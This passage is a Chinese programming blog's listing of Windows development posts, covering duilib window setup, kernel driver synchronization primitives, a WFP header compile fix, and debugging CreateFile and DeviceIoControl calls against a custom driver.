首页
归档
友情链接
关于
Search
1
在wsl2中安装archlinux
81 阅读
2
nvim番外之将配置的插件管理器更新为lazy
59 阅读
3
2018总结与2019规划
54 阅读
4
PDF标准详解(五)——图形状态
33 阅读
5
为 MariaDB 配置远程访问权限
30 阅读
心灵鸡汤
软件与环境配置
博客搭建
从0开始配置vim
Vim 从嫌弃到依赖
archlinux
Emacs
MySQL
Git与Github
AndroidStudio
cmake
读书笔记
菜谱
编程
PDF 标准
从0自制解释器
qt
C/C++语言
Windows 编程
Python
Java
算法与数据结构
PE结构
登录
Search
标签搜索
c++
c
学习笔记
windows
文本操作术
编辑器
NeoVim
Vim
win32
VimScript
emacs
Java
linux
文本编辑器
elisp
反汇编
OLEDB
数据库编程
数据结构
内核编程
Masimaro
累计撰写
309
篇文章
累计收到
27
条评论
首页
栏目
心灵鸡汤
软件与环境配置
博客搭建
从0开始配置vim
Vim 从嫌弃到依赖
archlinux
Emacs
MySQL
Git与Github
AndroidStudio
cmake
读书笔记
菜谱
编程
PDF 标准
从0自制解释器
qt
C/C++语言
Windows 编程
Python
Java
算法与数据结构
PE结构
页面
归档
友情链接
关于
搜索到
77
篇与
的结果
2017-01-16
duilib基本流程
duilib的基本流程如上图,通过解析一个xml文件,将文件中的内容渲染为窗口界面,这个解析过程由WindowImplBase类来完成。基本框架如下:首先在公共头文件中加入如下内容:#include <objbase.h> #include <DuiLib\UIlib.h> using namespace DuiLib; #ifdef _DEBUG #pragma comment(lib, "DuiLib_ud.lib"); #else #pragma comment(lib, "DuiLib_d.lib"); #endif这个是duilib的一些基本配置从WindowImplBase类中派生一个类,然后实现这样3个基本函数:virtual CDuiString GetSkinFolder() { return _T("skin"); }; virtual CDuiString GetSkinFile() { return _T("HelloWnd.xml"); }; virtual LPCTSTR GetWindowClassName(void) const { return _T("HelloWnd"); };这三个函数的说明如下:1、 GetSkinFolder () 需要返回 皮肤XML 所在的文件夹2、GetSkinFile () 需要返回 皮肤 XML 的文件名(也可以包含路径)3、GetWindowClassName () 需要返回这个窗口的类名,这个类名用于 RegisterClass.这三个函数告知duilib库应该从哪个文件夹下解析哪个xml文件,并定义对应窗口的名字,以后这个类就代表这个xml文件所描述的窗口需要注意的是这些函数必须在头文件中这样写,我自己写在CPP文件中它在运行时报错,可能是库本身的bug在WinMain主函数中添加如下代码int APIENTRY _tWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPTSTR lpCmdLine, _In_ int nCmdShow) { CPaintManagerUI::SetInstance(hInstance);// 加载XML的时候,需要使用该句柄去定位EXE的路径,才能加载XML的路径 CHelloWnd* wnd = new CHelloWnd; // 生成对象 wnd->Create(NULL, NULL, UI_WNDSTYLE_DIALOG, 0); // 创建DLG窗口 wnd->CenterWindow(); // 窗口居中 // wnd->ShowWindow();//作为非模态对话框显示 wnd->ShowModal(); // 显示 // CPaintManagerUI::MessageLoop(); // 消息循环,是一个默认的消息循环,什么消息都不响应 delete wnd; // 删除对象 return 0; }在这创建了一个对话框,但是如果加上消息循环就表示它是一个非模态对话框,这个窗口我没有给它菜单栏,也就没有关闭按钮,如果作为非模态对话框,要加上一句CPaintManagerUI::MessageLoop();给它一个消息循环。但是它将不能关闭,只能通过任务管理器强制结束,使用ShowModal表示将它作为模态对话框,在win32中模态对话框使用它自己的消息循环,也就不需要自己给它一个消息循环,它可以在任务栏上被关闭。类的Create函数定义如下:HWND Create(HWND hwndParent, LPCTSTR pstrName, DWORD dwStyle, DWORD dwExStyle, int x = CW_USEDEFAULT, int y = CW_USEDEFAULT, int cx = CW_USEDEFAULT, int cy = CW_USEDEFAULT, HMENU hMenu = NULL);可以看到它就是对WIN32中CreateWindow的封装,在这duilib为窗口自定义了一些类型,其中主要的类型如下:#define UI_WNDSTYLE_CONTAINER (0) #define UI_WNDSTYLE_FRAME (WS_VISIBLE | WS_OVERLAPPEDWINDOW) #define UI_WNDSTYLE_CHILD (WS_VISIBLE | WS_CHILD | WS_CLIPSIBLINGS | WS_CLIPCHILDREN) #define UI_WNDSTYLE_DIALOG (WS_VISIBLE | WS_POPUPWINDOW | WS_CAPTION | WS_DLGFRAME | WS_CLIPSIBLINGS | WS_CLIPCHILDREN) //下面是窗口的扩展类型 #define UI_WNDSTYLE_EX_FRAME (WS_EX_WINDOWEDGE) #define UI_WNDSTYLE_EX_DIALOG (WS_EX_TOOLWINDOW | WS_EX_DLGMODALFRAME) //下面是窗口类类型 #define UI_CLASSSTYLE_CONTAINER (0) #define UI_CLASSSTYLE_FRAME (CS_VREDRAW | CS_HREDRAW) #define UI_CLASSSTYLE_CHILD (CS_VREDRAW | CS_HREDRAW | CS_DBLCLKS | CS_SAVEBITS) #define UI_CLASSSTYLE_DIALOG (CS_VREDRAW | CS_HREDRAW | CS_DBLCLKS | CS_SAVEBITS)大部分都是对win32中窗口类型的一个组合。如果熟悉WIN32编程,那么很容易知道这些都代表什么
2017年01月16日
6 阅读
0 评论
0 点赞
2017-01-09
驱动程序的同步处理
驱动程序运行在系统的内核地址空间,而所有进程共享这2GB的虚拟地址空间,所以绝大多数驱动程序是运行在多线程环境中,有的时候需要对程序进行同步处理,使某些操作是严格串行化的,这就要用到同步的相关内容。异步是指两个线程各自运行互不干扰,而当某个线程运行取决与另一个线程,也就是要在线程之间进行串行化处理时就需要同步机制。中断请求级别在进行I/O操作时会产生中断,以便告知CPU当前I/O操作已完成,此时CPU会停下手头的工作,来处理这个中断请求,在Windows操作系统中,分为硬件中断和软件中断。并且将这些中断映射为不同级别的中断请求级。硬件中断是由硬件产生的中断,软件中断是由int指令产生的。在传统的PC中,一般可以接收16种中断信号,每个信号对应一个中断号。硬件中断分为可屏蔽中断和不可屏蔽中断。可屏蔽中断是由可编程中断控制器(PIC)产生,这是一个硬件设备。在后面的PC机中采用了高级可编程中断控制器(APIC)代替。在APIC中将中断扩展为24个,每个都有对应的优先级,一般正在运行的线程可以被中断打断,进入中断处理程序,当优先级高的中断来临时处在低优先级的中断也会被打断。在Windows中中断请求级别有32个,但是在编程或者在MSDN上只需要关心两类级别,PASSIVE_LEVEL:用户级别,这个中断级别最低。DISPATCH_LEVEL:级别相对较高。在运用内核函数时可以查看MSDN,运行在低优先级的函数不能进行高优先级的一些操作。下面是一些常用函数的优先级函数优先级DriverEntry AddDevice DriverUnload等函数PASSIVE_LEVEL各种分发派遣函数PASSIVE_LEVEL完成函数DISPATCH_LEVELNDIS回调函数DISPATCH_LEVEL在内核模式中可以调用KeGetCurrentIrql得到当前的IRQL需要注意的是,线程优先级只针对于应用程序,只有在IRQL处于PASSIVE_LEVEL级别才有意义。当线程运行在PASSIVE_LEVEL级别的时候可以进行线程切换,而当IRQL提升到DISPATCH_LEVEL,就不再出现线程切换PASSIVE_LEVEL是应用层的中断级别,可以有线程切换,处在这个IRQL下的程序是位于进程上下文,可以进行线程的切换休眠等操作,而处于DISPACTH_LEVEL的程序属于中断上下文,CPU会一直执行这个环境下的代码,没有线程切换,不能进行线程的休眠操作,否则,一旦休眠则没有线程能够唤醒。在内存的使用上,PASSIVE_LEVEL级别的程序可以使用分页内存,一旦发生缺页中断,系统可以进行线程切换,切换到其他进程,将缺页装载在内存,但是在DISPATCH_LEVEL没有线程切换,一旦发生缺页中断就会导致系统崩溃,所以DISPATCH_LEVEL只能使用非分页内存。我们可以在程序中手动提升和降低当前的IRQL。VOID KeRaiseIrql( IN KIRQL NewIrql, //新IRQL OUT PKIRQL OldIrql//当前的IRQL ); VOID KeLowerIrql( IN KIRQL NewIrql //新IRQL );自旋锁自旋锁是一种同步机制,他能保证某个资源只被一个线程所拥有。在初始化自旋锁的时候,处于解锁状态,这个时候线程可以获取自旋锁并访问同步资源,一旦有一个线程获取到自旋锁,必须等到它释放以后,才能被其他线程获取。自旋锁被锁上之后当切换到另外的线程时,线程会不停的询问是否可以获取自旋锁。此时线程处于空转的情况,白白浪费了CPU资源,所以一般要慎用自旋锁使用方法自旋锁用结构体KSPIN_LOCK来表示使用自旋锁的时候需要对其进行初始化,初始化可以使用函数KeInitializeSpinLock,一般在驱动加载函数DriverEntry或者AddDevice函数中初始化自旋锁。VOID KeInitializeSpinLock( IN PKSPIN_LOCK SpinLock );申请自旋锁可以使用函数KeAcquireSpinLock。VOID KeAcquireSpinLock( IN PKSPIN_LOCK SpinLock, OUT PKIRQL OldIrql //自旋锁以前所处的IRQL );释放自旋锁可以使用函数KeReleaseSpinLock内核模式下线程的创建在内核模式中线程使用PsCreateSystemThread;该函数的原型如下:NTSTATUS PsCreateSystemThread( OUT PHANDLE ThreadHandle, //线程的句柄指针,这个参数作为一个输出参数 IN ULONG DesiredAccess,//新线程的权限,在驱动中这个值一般给0 IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,//线程的属性,一般给NULL IN HANDLE ProcessHandle OPTIONAL,//该线程所属的进程句柄,如果给NULL表示创建一个系统进程的线程 OUT PCLIENT_ID ClientId OPTIONAL,//指向客户结构的一个指针,在驱动中这个值一般给NULL IN PKSTART_ROUTINE StartRoutine,//新线程的函数地址 IN PVOID StartContext//线程函数的参数 );第4个参数表示创建线程的类型,如果给NULL则表示创建一个系统线程,否则表示将创建一个用户线程,DDK提供了一个宏NtCurrentThread()来获取当前进程的句柄,这个当前进程表示的是像驱动发送IRP请求的进程的句柄。获取进程名在XP中EPROCESS结构的0X174偏移位置记录着线程名,我们可以使用IoGetCurrentProcess()函数来获取当前进程的EPROCESS结构,这样我们 可以利用这样的代码来获取进程名:PEPROCESS pEprocess = IoGetCurrentProcess(); ASSERT(NULL != pEprocess); DbgPrint("the process name is %S\n", (PTSTR)((ULONG)pEprocess + 0x174));下面是一个使用线程的例子VOID MyProcessThread(PVOID pContext) { //获取当前发送IRP请求的线程名 PEPROCESS pCurrProcess = IoGetCurrentProcess(); PTSTR pProcessName = (PTSTR)((CHAR*)pCurrProcess + 0x174); // UNREFERENCED_PARAMETER(pContext); DbgPrint("MyProcessThread Current Process %s\n", pProcessName); PsTerminateSystemThread(0); } VOID SystemThread(PVOID pContext) { //获取系统进程名 PEPROCESS pCurrProcess = IoGetCurrentProcess(); PTSTR pProcessName = (PTSTR)((CHAR*)pCurrProcess + 0x174); // UNREFERENCED_PARAMETER(pContext); DbgPrint("MyProcessThread Current Process %s\n", pProcessName); PsTerminateSystemThread(0); } VOID CreateThread_Test() { HANDLE hSysThread = NULL; HANDLE hMyProcThread = NULL; NTSTATUS status; //创建系统进程 status = PsCreateSystemThread(&hSysThread, 0, NULL, NULL, NULL, SystemThread, NULL); //创建用户进程 status = PsCreateSystemThread(&hMyProcThread, 0, NULL, NtCurrentProcess(), NULL, MyProcessThread, NULL); } 内核模式下的同步对象内核模式下的同步对象与应用层的大致相同,所以理解了应用的线程同步对象,那么内核层的也很好理解内核模式下的等待函数内核模式下的等待函数是KeWaitForSingleObject 和 KeWaitForMultipleObjects,一个是用来等待单个事件,一个是用来等待多个事件。NTSTATUS KeWaitForSingleObject( IN PVOID Object, /第一个参数是一个指向同步对象的指针 IN KWAIT_REASON WaitReason,//第二个参数是等待原因,在驱动中这个值应该被设置为Executive IN KPROCESSOR_MODE WaitMode,//等待模式,处在低优先级的驱动应该将这个值设置为KernelMode IN BOOLEAN Alertable,//是否是警惕的 IN PLARGE_INTEGER Timeout OPTIONAL//等待时间,如果是正数则表示从1601年1月1日到现在的时间如果是负数则表示从现在算起的时间,单位是100ns );函数如果是等待到了对应的事件则返回STATUS_SUCCESS如果是由于等待时间到了,则返回STATUS_TIMEOUT内核模式下的事件对象在内核中用KEVENT来表示一个事件对象,在使用事件对象时需要对其进行初始化,使用函数KeInitializeEventVOID KeInitializeEvent( IN PRKEVENT Event, //事件对象的指针 IN EVENT_TYPE Type, //事件类型,一般分为两种:NotificationEvent 通知事件和同步事件SynchronizationEvent IN BOOLEAN State//是否是激发状态 );所谓的激发状态就是有信号状态,没有线程拥有这个事件。在这个状态下其他线程中的等待函数可以等到这个事件这两种类型的事件对象的区别在于如果是通知事件需要程序员手动的更改事件的状态,如果是同步事件,在等待函数等到这个事件对象后会自动将这个对象设置为无信号状态可以使用函数KeSetEvent设置事件为有信号,这样其他线程的等待函数就可以等到这个事件LONG KeSetEvent( IN PRKEVENT Event, //事件对象的指针 IN KPRIORITY Increment,//被唤起的线程将以何种优先级执行,这个参数与IoCompleteRequest的第二个参数含义相同 IN BOOLEAN Wait //一般给FALSE );下面是这个它的使用例子VOID Event_Test() { KEVENT keEvent; HANDLE hThread; //初始化事件对象,并设置为无信号 KeInitializeEvent(&keEvent, NotificationEvent, FALSE); //创建新线程,将事件对象传入线程函数中,新线程将会设置事件对象为有状态 PsCreateSystemThread(&hThread, 0, NULL, NULL, NULL, EventThread, &keEvent); if(NULL == hThread) { DbgPrint("Create Event Thread Error!\n"); return; } KeWaitForSingleObject(&keEvent, Executive, KernelMode, FALSE, NULL); } VOID EventThread(PVOID pContext) { PKEVENT pEvent = (PKEVENT)pContext; DbgPrint("This is Event Thread\n"); KeSetEvent(pEvent, IO_NO_INCREMENT, FALSE); PsTerminateSystemThread(0); }驱动程序与应用程序交互事件对象本质上用户层和内核层的事件对象是同一个东西,在用户层用句柄代替,看不到它的具体结构,在内核层是一个KEVENT,能知道它的具体数据成员。我们可以先在应用层创建一个事件对象的句柄,然后通过DeviceIoControl传到应用层,然后利用函数ObReferenceObjectByHandle将这个句柄转化为对应的事件对象,在利用这个函数转化成功后会将事件对象的计数 + 1所以在使用完后应该调用函数ObDereferenceObject使计数减1NTSTATUS ObReferenceObjectByHandle( IN HANDLE Handle, //用户层传下来的内核对象句柄 IN ACCESS_MASK DesiredAccess, //访问权限对于同步事件一般给EVENT_MODIFY_STATE IN POBJECT_TYPE ObjectType OPTIONAL,//转化何种类型的内核结构 IN KPROCESSOR_MODE AccessMode,//模式,一般有KernelMode和UserMode OUT PVOID *Object,//对应结构的指针 OUT POBJECT_HANDLE_INFORMATION HandleInformation OPTIONAL//这个参数在内核模式下为NULL );第三个参数根据转化的内核结构的不同可以有下面的结构。参数值对应的结构*IoFileObjectTypePFILE_OBJECT*ExEventObjectTypePKEVENT*PsProcessTypePEPROCESS或者PKPROCESS*PsThreadTypePETHREAD或者PKTHREAD下面是内核层的例子else if(IOCTL_TRANS_EVENT == pIrps->Parameters.DeviceIoControl.IoControlCode) { //接收从应用层下发的下来的事件句柄 hEvent = *(PHANDLE)(Irp->AssociatedIrp.SystemBuffer); if(NULL == hEvent) { DbgPrint("Invalied Handle\n"); goto __RET; } status = ObReferenceObjectByHandle(hEvent, EVENT_MODIFY_STATE, *ExEventObjectType, KernelMode, &pkEvent, NULL); if(!NT_SUCCESS(status)) { //失败 DbgPrint("Translate Event Error\n"); goto __RET; } //将事件设置为有信号 KeSetEvent(pkEvent, IO_NO_INCREMENT, FALSE); //引用计数 -1 ObDereferenceObject(pkEvent); }驱动程序与驱动程序交互事件对象在内核驱动中可以通过给某个内核对象创建一个命名对象,然后在另一个驱动中通过名字来获取这个对象,然后操作它来实现两个驱动之间的内核对象的通讯,针对事件对象来说,要实现两个驱动交互事件对象,通过这样几步:在驱动A中调用IoCreateNotificationEvent或者IoCreateSynchronizationEvent来创建一个通知事件对象或者同步事件对象在驱动B中调用 IoCreateNotificationEvent或者IoCreateSynchronizationEvent获取已经有名字的内核对象的句柄在驱动B中调用ObReferenceObjectByHandle根据上面两个函数返回的句柄来获取A中的事件对象,并操作它操作完成后调用ObDereferenceObject解引用PKEVENT IoCreateNotificationEvent( IN PUNICODE_STRING EventName, OUT PHANDLE EventHandle );如果指定名称的事件存在那么将会通过EventHandle来返回这个事件对象的句柄,如果不存在则会创建一个事件并通过返回值直接返回这个事件对象的结构指针,需要注意的是这个名字必须以L"\BaseNamedObjects\” 开头另外不能在DriverEntry中等待过长时间,否则会造成系统蓝屏内核模式下的信号量在操作系统相关的书籍中但凡说到线程的同步问题就会涉及到信号量,当多个线程共享一个公共资源时在某一时刻只能有一个线程在运行,这个时候一般用事件对象控制,而当多个线程共享多个公共资源时,可以有多个线程同时在运行,这个时候就可以用信号量,可以把信号量想象成一个盒子,里面有多盏灯,当只要有一盏灯是亮的,就有线程可以执行,每当有一个线程在访问共享资源时,亮灯的数量-1,当线程不再访问共享资源时,亮灯的数目 +1而当灯全部熄灭时就不再允许线程访问。当盒子中只有一盏灯的时候,就相当于一个互斥体信号量的初始化函数为KeInitializeSemaphoreVOID KeInitializeSemaphore( IN PRKSEMAPHORE Semaphore,//将要被初始化的信号量的指针 IN LONG Count,//当前信号量中有多少个灯亮 IN LONG Limit//总共有多少灯 );释放信号量会增加信号灯计数。对应的函数是KeReleaseSemaphore。可以利用这个函数指定增量值,获得的信号灯可以使用Wait函数等待如果获得就熄灭一盏灯,否则就陷入等待。。利用函数KeReadStateSemaphore可以得到当前有多少盏灯是亮的下面是使用的例子VOID Semaphore_Test() { KSEMAPHORE keSemaphore; HANDLE hThread; NTSTATUS status = STATUS_SUCCESS; ULONG uCount = 0;//当前有多少盏灯亮着 //初始化,使其里面有两盏灯,两盏灯全亮 KeInitializeSemaphore(&keSemaphore, 2, 2); if(!NT_SUCCESS(status)) { DbgPrint("Initialize Semaphore Error\n"); return; } //当前有多少盏灯亮着 uCount = KeReadStateSemaphore(&keSemaphore); DbgPrint("the count = %ul", uCount); //函数会成功返回并熄灭一盏灯 KeWaitForSingleObject(&keSemaphore, Executive, KernelMode, FALSE, 0); uCount = KeReadStateSemaphore(&keSemaphore); DbgPrint("the count = %ul", uCount); //函数会成功返回并熄灭一盏灯 KeWaitForSingleObject(&keSemaphore, Executive, KernelMode, FALSE, 0); uCount = KeReadStateSemaphore(&keSemaphore); DbgPrint("the count = %ul", uCount); //创建新线程 PsCreateSystemThread(&hThread, 0, NULL, NULL, NULL, SemaphoreThread, &keSemaphore); //这时没有灯亮,函数会陷入等待状态 KeWaitForSingleObject(&keSemaphore, Executive, KernelMode, FALSE, 0); }VOID SemaphoreThread(PVOID pContext) { //线程函数 PKSEMAPHORE pkeSemaphore = (PKSEMAPHORE)pContext; DbgPrint("Entry My Thread\n"); //点亮其中的一盏灯 KeReleaseSemaphore(pkeSemaphore, IO_NO_INCREMENT, 1, FALSE); //结束线程 PsTerminateSystemThread(0); }内核模式下的互斥体互斥体在内核结构中的定义为KMUTEX使用前需要使用函数KeInitializeMutex进行初始化VOID KeInitializeMutex( IN PRKMUTEX Mutex, IN ULONG Level//系统保留参数一般给0 );初始化之后就可以使用Wait系列的函数进行等待,一旦函数返回,那么该线程就拥有了该互斥体,线程可以调用函数KeReleaseMutex来主动释放互斥体LONG KeReleaseMutex( IN PRKMUTEX Mutex, IN BOOLEAN Wait );与同步对象相比,互斥体可以在某个线程中递归获取,这个时候每当获取一次,那么它被引用的次数也将加1,在释放时,被引用多少次就应该释放多少次,只有当计数为0时才能被其他线程获取互锁操作进行同步互锁操作就是定义了一个原子操作,当原子操作没有完成时,线程是不允许切换的,系统会保证原子操作要么都完成了,要么都没有完成。在Windows中为一些常用的操作定义了一组互锁操作函数
2017年01月09日
5 阅读
0 评论
0 点赞
2016-12-26
WFP在包含fwpmu.h头的时候出错
最近在学WFP驱动框架,在使用VS2013写代码调用WFP的函数时会包含fwpmu.h这个头,但是在包含这个头的时候会报错,就像下面这个图这样:我百度了一下,然后在这个网站上面找到了解决方案:https://social.msdn.microsoft.com/Forums/windowsdesktop/en-US/8fd93a3d-a794-4233-9ff7-09b89eed6b1f/compiling-with-wfp?forum=wfp虽然我不太看得懂英文,但是根据上面的说明,我们点击第一个错误,然后定位到这个网上说的位置:在FwpTypes.h的第275行,343行出现这样的错误:从上面的错误来看,很明显是在定义宏的时候明明有换行的标志,但是它居然新换了一行,不知道是安装WDK的时候出现的还是什么原因,总之我们把这些换行去掉,然后再次编译就OK了。
2016年12月26日
2 阅读
0 评论
0 点赞
2016-12-01
自己写的驱动用CreateFile打开时错误码返回1的问题
就像题目上说的,今天在写一个例子代码时遇到了这个问题,下面是当时驱动层和应用层的代码:#include <ntddk.h> #define BASE_CODE 0x800 #define CREATE_THREAD_COMMAND CTL_CODE(FILE_DEVICE_UNKNOWN, BASE_CODE + 1, METHOD_BUFFERED, FILE_ANY_ACCESS) #define DEVICE_NAME L"\\Device\\ThreadDevice" #define LINK_NAME L"\\??\\ControlDevice" VOID DriverUnload(PDRIVER_OBJECT pDriverObject) { UNICODE_STRING uLinkName; PDEVICE_OBJECT pDev = pDriverObject->DeviceObject; RtlInitUnicodeString(&uLinkName, LINK_NAME); IoDeleteSymbolicLink(&uLinkName); IoDeleteDevice(pDev); DbgPrint("Goodbye world!\n"); } VOID MyProcessThread(PVOID pContext) { //获取当前发送IRP请求的线程名 PEPROCESS pCurrProcess = IoGetCurrentProcess(); PTSTR pProcessName = (PTSTR)((CHAR*)pCurrProcess + 0x174); // UNREFERENCED_PARAMETER(pContext); DbgPrint("MyProcessThread Current Process %s\n", pProcessName); PsTerminateSystemThread(0); } VOID SystemThread(PVOID pContext) { //获取系统进程名 PEPROCESS pCurrProcess = IoGetCurrentProcess(); PTSTR pProcessName = (PTSTR)((CHAR*)pCurrProcess + 0x174); // UNREFERENCED_PARAMETER(pContext); DbgPrint("MyProcessThread Current Process %s\n", pProcessName); PsTerminateSystemThread(0); } VOID CreateThread_Test() { HANDLE hSysThread = NULL; HANDLE hMyProcThread = NULL; NTSTATUS status; //创建系统进程 status = PsCreateSystemThread(&hSysThread, 0, NULL, NULL, NULL, SystemThread, NULL); //创建用户进程 status = PsCreateSystemThread(&hMyProcThread, 0, NULL, NtCurrentProcess(), NULL, MyProcessThread, NULL); } NTSTATUS IoControlDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) { NTSTATUS status = STATUS_SUCCESS; PIO_STACK_LOCATION pIrps = IoGetCurrentIrpStackLocation(Irp); if(CREATE_THREAD_COMMAND == pIrps->Parameters.DeviceIoControl.IoControlCode) { //创建线程 CreateThread_Test(); } Irp->IoStatus.Status = status; Irp->IoStatus.Information = 0; IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath) { UNICODE_STRING uDeviceName; UNICODE_STRING uSymbolicName; PDEVICE_OBJECT pDevObj; NTSTATUS status; DbgPrint("Hello, world\n"); pDriverObject->DriverUnload = DriverUnload; //初始化设备名称和链接名称 RtlInitUnicodeString(&uDeviceName, DEVICE_NAME); RtlInitUnicodeString(&uSymbolicName, LINK_NAME); //创建设备对像 status = IoCreateDevice(pDriverObject, 0, &uDeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pDevObj); if(!NT_SUCCESS(status)) { DbgPrint("Create Device Error!\n"); return status; } status = IoCreateSymbolicLink(&uSymbolicName, &uDeviceName); if(!NT_SUCCESS(status)) { DbgPrint("Create SymbolicLink Error!\n"); IoDeleteDevice(pDevObj); return status; } //设置IRP_MJ_DEVICE_CONTROL分发派遣函数 pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IoControlDispatch; return STATUS_SUCCESS; }#include <stdio.h> #include <Windows.h> #include <tchar.h> #define BASE_CODE 0x800 #define CREATE_THREAD_COMMAND CTL_CODE(FILE_DEVICE_UNKNOWN, BASE_CODE + 1, METHOD_BUFFERED, FILE_ANY_ACCESS) int _tmain(int argc, TCHAR *argv[]) { BOOL bRet = FALSE; HANDLE hDevice = CreateFile(_T("\\\\.\\ControlDevice"), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE == hDevice) { printf("Create File Error %d \n", GetLastError()); _tsystem(_T("PAUSE")); return 0; } printf("Create File Success hDevice = %08x\n", hDevice); bRet = DeviceIoControl(hDevice, CREATE_THREAD_COMMAND, NULL, 0, NULL, 0, NULL, NULL); if (!bRet) { printf("Control Device Error, code : %d\n", GetLastError()); } _tsystem(_T("PAUSE")); return 0; }这些代码非常简单,就是直接在应用层通过CreateFile打开,然后下发一个控制命令,驱动层接收到这个命令,创建两个线程,一个获取当前下发命令的应用程序的进程名,一个获取系统进程的进程名。这段代码当时主要是有两个问题,第一个就是CreateFile打开时错误,并返回错误码1,乍看好像没有什么问题,其实这个问题我估计还是自己对应用层如何调用驱动层不太熟。首先驱动程序跟应用层的窗口程序类似,都是靠事件驱动的,在窗口程序中把这种事件叫做消息,窗口程序的主要功能是处理各种消息,由系统根据消息负责调用消息处理函数,驱动同样是这样。驱动中的设备对象就好像窗口一样,应用层下发的事件都是针对设备对象的。应用层针对不同设备对象下发的请求通过I/O管理器进行封装,变为一个个的IRP,根据不同的设备对象所属的驱动程序的不同,系统会自动调用我们事先准备好的处理程序,在程序中主要做这样几件事:对下发的事件进行适当的处理决定下发这个IRP或者结束这个IRP决定如何向I/O管理器和本层驱动程序返回值I/O管理器会根据返回的值来决定如何给上层返回一个值,就拿CreateFile来说,这个API在调用时会经过I/O管理器生成一个IRP_MJ_CREATE类型的IRP,系统根据函数所针对的设备(这个设备可以通过第一个参数知道)找到对应的驱动,然后调用驱动中对应的处理函数,然后将这个处理函数中返回的值返回给I/O管理器,I/O管理器根据这个值决定如何返回值给应用层的API。说道这,这个问题的答案基本上已经出来了,这个问题的原因就是这段代码没有给定IRP_MJ_CREATE的处理函数,I/O管理器并没有收到一个成功的返回,所以它给应用层返回一个错误,我们加上一个Create的处理函数,并在DriverEntry中指定就好了。NTSTATUS CreateDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) { Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = 0; IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } //然后需要在DriverEntry中加上这句话,相当于在系统中注册了一个Create事件的处理函数 pDriverObject->MajorFunction[IRP_MJ_CREATE] = CreateDispatch;这里有两个NTSTATUS的值,通过return返回的是给驱动程序的,而通过Irp->IoStatus.Status返回的是给I/O管理器的,上面说的I/O管理器没有收到成功,说的也是这个值没有给STATUS_SUCCESS做完这些工作,这个问题就这样解决了,但是接着执行后面的代码,发现程序崩溃了,会弹出一个内存读写错误的提示框,这个时候可以肯定是应用层的问题,因为如果是内核层出现内存读写错误,系统肯定蓝屏了。当时我推测可能是句柄为NULL,或者DeviceIoControl中哪个缓冲区不能为NULL,为了知道是哪的问题,我在调用DeviceIoControl之前加了一条输出语句,我发现这条语句输出的句柄值是正常的,那就肯定是DeviceIoControl的问题,我先试着吧所有的输入输出缓冲区都给定了一个值,通过排查最后发现是倒数第二个参数不能为NULL,这个参数表示的是驱动层实际返回的缓冲区的大小。最后通过查看驱动层的代码,我终于知道这个值为什么不能为NULL。这就要说到DeviceIoControl与驱动通信的方式,DeviceIoControl的定义如下:BOOL DeviceIoControl( HANDLE hDevice, DWORD dwIoControlCode, LPVOID lpInBuffer, DWORD nInBufferSize, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesReturned, LPOVERLAPPED lpOverlapped );DeviceIoControl通过dwIoControlCode向驱动下发控制码,这个控制码在驱动中可以通过IO_STACK_LOCATION 结构中的Parameters.DeviceIoControl.IoControlCode值获得。另外函数根据lpInBuffer和nInBufferSize来给驱动传递数据,通过参数lpOutBuffer和nOutBufferSize来接受来自驱动上传的数据,另外还有一个是驱动真实上传数据的大小,大小都是以字节为单位的。那么这个真实大小是怎么来的呢?答案就是通过Irp->IoStatus.Information这个值,I/O管理器取这个值,将它填充到lpBytesReturned所指向的内存中,既然我们在驱动中指定了这个值为0,自然要给它在应用层分配相应的缓冲区了,前面的由于给的是NULL,I/O管理器不可能将这个值填入NULL缓冲区,所以自然会弹出这个内存读写的错误。最后来总结下:如果我们要打开对应的驱动中的设备对象,在驱动层需要提供IRP_MJ_CREATE的处理函数,将返回给I/O管理器的值填入到IRP的IoStatus这个结构中。类似的,如果我们通过类似WriteFile、ReadFile的函数发送的相应的IRP,即使我们不需要对这个IRP进行特殊的处理,我们也需要为这些操作提供一个默认的处理函数,至少要向I/0管理器返回一个成功,这样应用层的函数才能调用成功。DeviceIoControl函数,如果不需要跟驱动层进行交互,那么他的输入输出缓冲区是可以给NULL的,但是由于I/O管理器会像它返回驱动层实际返回的数据的大小,所以这个真实大小的缓冲区一定不能为NULL
2016年12月01日
4 阅读
0 评论
0 点赞
2016-11-30
Windows内核函数
字符串处理在驱动中一般使用的是ANSI字符串和宽字节字符串,在驱动中我们仍然可以使用C中提供的字符串操作函数,但是在DDK中不提倡这样做,由于C函数容易导致缓冲区溢出漏洞,针对字符串的操作它提供了一组函数分别用来处理ANSI字符串和UNICODE字符串。针对两种字符串,首先定义了它们的结构体typedef struct _STRING { USHORT Length;//字符串的长度 USHORT MaximumLength;//字符缓冲的长度 PCHAR Buffer;//字符缓冲的地址 } ANSI_STRING, *PANSI_STRING; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING;对于这两个字符串的打印,可以使用%wZ打印UNICODE_STRING用%Z打印ANSI_STRING字符串的初始化VOID RtlInitAnsiString( IN OUT PANSI_STRING DestinationString, IN PCSZ SourceString ); VOID RtlInitUnicodeString( IN OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString );这两个函数只是简单的将SourceString 的首地址赋值给Buffer成员,并初始化相关的长度,所以在使用时需要考虑缓冲的生命周期,权限,同时如果我们改变SourceString 里面存储的字符串,那么对应的UNICODE_STRING 或者ANSI_STRING中的值也会改变,比如下面的代码RtlInitUnicodeString(&uTest, L"Hello World"); RtlCopyMemory(uTest.Buffer, L"Test");由于Buffer指向的是不可修改的常量内存部分,所以后面试图修改它的时候会造成程序崩溃。void InitString(&pUnicodeString) { WCHAR 